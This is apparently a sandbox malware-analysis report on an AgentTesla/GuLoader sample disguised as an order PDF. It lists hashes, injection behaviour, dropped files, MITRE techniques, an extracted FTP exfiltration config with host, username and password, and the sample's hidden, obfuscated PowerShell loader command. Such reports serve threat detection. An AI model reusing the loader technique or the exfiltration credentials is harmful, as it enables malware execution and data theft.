agenttesla | 2ef9a5215999c03ea03636ae06f8c66b3ed1274153bdaec215a189cd148669b5

General

Target

SİPARİŞ NO.ZD33166-pdf.exe
Size

684KB
MD5

8db600d5b4168b5d358209fa4b85bd5f
SHA1

d6822e043548fbacd692a14d7dc17250482c43bc
SHA256

2ef9a5215999c03ea03636ae06f8c66b3ed1274153bdaec215a189cd148669b5
SHA512

c2103215579019f69aa3e4adfa2067d90c9189c093c7b065e9693e3d8745f084810e7652dd0e2e6638eecc18344641aaa23460eb2799c3829b73462b08f741ca
SSDEEP

12288:swFGHEDwfu4MFVS/GCFj+an2ry7/hFwz7ylgimtdYM3O0V7bbj:s5HEMfuDDSuCF6an2rg/hF7lgZtub0Vv

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.vvspijkenisse.nl
Port:
21
Username:
[email protected]
Password:
playingboyz231

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Drops file in System32 directory 1 IoCs

Processes:

SİPARİŞ NO.ZD33166-pdf.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini SİPARİŞ NO.ZD33166-pdf.exe
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msbuild.exe

pid process

2356 msbuild.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsbuild.exe

pid process

2728 powershell.exe
2356 msbuild.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2728 set thread context of 2356 2728 powershell.exe msbuild.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini	SİPARİŞ NO.ZD33166-pdf.exe

pid	process
2356	msbuild.exe

description	pid	process	target process
PID 2728 set thread context of 2356	2728	powershell.exe	msbuild.exe

Drops file in Program Files directory 4 IoCs

Processes:

SİPARİŞ NO.ZD33166-pdf.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Common Files\integraltegnets\substrate.Ski	SİPARİŞ NO.ZD33166-pdf.exe
File created	C:\Program Files (x86)\cockling.lnk	SİPARİŞ NO.ZD33166-pdf.exe
File opened for modification	C:\Program Files (x86)\cockling.lnk	SİPARİŞ NO.ZD33166-pdf.exe
File opened for modification	C:\Program Files (x86)\Kldebonnets.kod	SİPARİŞ NO.ZD33166-pdf.exe

Drops file in Windows directory 3 IoCs

Processes:

SİPARİŞ NO.ZD33166-pdf.exe

description	ioc	process
File opened for modification	C:\Windows\bagvognen.lnk	SİPARİŞ NO.ZD33166-pdf.exe
File created	C:\Windows\bagvognen.lnk	SİPARİŞ NO.ZD33166-pdf.exe
File opened for modification	C:\Windows\Calottes.Doo	SİPARİŞ NO.ZD33166-pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exemsbuild.exe

pid	process
2728	powershell.exe
2728	powershell.exe
2728	powershell.exe
2728	powershell.exe
2728	powershell.exe
2728	powershell.exe
2728	powershell.exe
2356	msbuild.exe
2356	msbuild.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2728 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exemsbuild.exe

description pid process

Token: SeDebugPrivilege 2728 powershell.exe
Token: SeDebugPrivilege 2356 msbuild.exe

description	pid	process
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	2356	msbuild.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

SİPARİŞ NO.ZD33166-pdf.exepowershell.exe

description	pid	process	target process
PID 2248 wrote to memory of 2728	2248	SİPARİŞ NO.ZD33166-pdf.exe	powershell.exe
PID 2248 wrote to memory of 2728	2248	SİPARİŞ NO.ZD33166-pdf.exe	powershell.exe
PID 2248 wrote to memory of 2728	2248	SİPARİŞ NO.ZD33166-pdf.exe	powershell.exe
PID 2248 wrote to memory of 2728	2248	SİPARİŞ NO.ZD33166-pdf.exe	powershell.exe
PID 2728 wrote to memory of 2356	2728	powershell.exe	msbuild.exe
PID 2728 wrote to memory of 2356	2728	powershell.exe	msbuild.exe
PID 2728 wrote to memory of 2356	2728	powershell.exe	msbuild.exe
PID 2728 wrote to memory of 2356	2728	powershell.exe	msbuild.exe
PID 2728 wrote to memory of 2356	2728	powershell.exe	msbuild.exe
PID 2728 wrote to memory of 2356	2728	powershell.exe	msbuild.exe

C:\Users\Admin\AppData\Local\Temp\SİPARİŞ NO.ZD33166-pdf.exe
"C:\Users\Admin\AppData\Local\Temp\SİPARİŞ NO.ZD33166-pdf.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2248

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Osirify120=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Bojanna.Win';$Calvarias=$Osirify120.SubString(53221,3);.$Calvarias($Osirify120)"
2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2728

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Rkkens.ini

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Bojanna.Win

Filesize
52KB

MD5
b78df76358c01d725b0d9e498d32d595

SHA1
89c5bc6f9d1d1da207899ce0677c24a99329dc70

SHA256
6cacb39cdff332ae98782d33db6fc877a76a8e1e01fa7a0ec9acf45a19cca2ea

SHA512
d7268e8c0e6040515d385835206af5b67c78ec5f6c4bdf7053ec28c00e3dcfdfa318fd03935e989bd856e3614a2ebb2d8bc50e2ecdbe7433b211291b0746cf8d

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Overfit.Hov

Filesize
270KB

MD5
ec46e3263c35f658579cd1572e57def0

SHA1
18468cb8363e04d8257fd5503cc6350ff7432b88

SHA256
690cdbe972c183ace073bad0f8567a3f2f2f15bf3f31e0e714797fdd68bc4e03

SHA512
d283ea4285dd37379499dc45128449b05b41229149d22819d3b40f80deba233be346741242d6f64f0697562f1fbec5d2818b7d05e0a4d95692246334bca85768

Download Submit
memory/2356-171-0x0000000000C00000-0x00000000027C4000-memory.dmp

Filesize
27.8MB

Download
memory/2356-166-0x0000000000C00000-0x00000000027C4000-memory.dmp

Filesize
27.8MB

Download
memory/2356-178-0x000000006EA60000-0x000000006F14E000-memory.dmp

Filesize
6.9MB

Download
memory/2356-176-0x0000000000C00000-0x00000000027C4000-memory.dmp

Filesize
27.8MB

Download
memory/2356-173-0x000000006EA60000-0x000000006F14E000-memory.dmp

Filesize
6.9MB

Download
memory/2356-172-0x000000006F150000-0x000000006F190000-memory.dmp

Filesize
256KB

Download
memory/2356-170-0x000000006F150000-0x00000000701B2000-memory.dmp

Filesize
16.4MB

Download
memory/2356-168-0x0000000076DD0000-0x0000000076F79000-memory.dmp

Filesize
1.7MB

Download
memory/2728-162-0x0000000006850000-0x0000000008414000-memory.dmp

Filesize
27.8MB

Download
memory/2728-165-0x0000000076FC0000-0x0000000077096000-memory.dmp

Filesize
856KB

Download
memory/2728-164-0x0000000076DD0000-0x0000000076F79000-memory.dmp

Filesize
1.7MB

Download
memory/2728-167-0x0000000073650000-0x0000000073BFB000-memory.dmp

Filesize
5.7MB

Download
memory/2728-163-0x0000000006850000-0x0000000008414000-memory.dmp

Filesize
27.8MB

Download
memory/2728-169-0x0000000000310000-0x0000000000350000-memory.dmp

Filesize
256KB

Download
memory/2728-156-0x0000000000310000-0x0000000000350000-memory.dmp

Filesize
256KB

Download
memory/2728-153-0x0000000073650000-0x0000000073BFB000-memory.dmp

Filesize
5.7MB

Download
memory/2728-161-0x0000000002A90000-0x0000000002A94000-memory.dmp

Filesize
16KB

Download
memory/2728-154-0x0000000073650000-0x0000000073BFB000-memory.dmp

Filesize
5.7MB

Download
memory/2728-174-0x0000000006850000-0x0000000008414000-memory.dmp

Filesize
27.8MB

Download
memory/2728-157-0x0000000000310000-0x0000000000350000-memory.dmp

Filesize
256KB

Download
memory/2728-155-0x0000000000310000-0x0000000000350000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads